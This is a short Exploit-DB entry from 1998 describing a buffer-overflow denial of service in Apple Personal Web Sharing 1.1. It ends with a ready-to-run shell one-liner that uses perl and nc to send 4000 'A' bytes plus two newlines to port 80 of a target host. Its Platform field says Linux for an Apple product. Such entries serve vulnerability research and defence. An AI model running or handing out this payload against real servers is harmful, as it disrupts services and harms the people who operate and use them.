Apple Personal Web Sharing 1.1 - Remote Denial of Service

EDB-ID:

19076

CVE:





Platform:

Linux

Date:

1998-04-10


source: https://www.securityfocus.com/bid/84/info

There appears to be a buffer overflow in Apple's Personal Web Sharing 1.1. If you connect to its TCP port number 80 and send it a string over three thousand bytes long followed by two return characters Personal Web Sharing
will stop servicing request.

$ echo `perl -e 'print "A"x4000 . "\n\n"'` | nc target.host.com 80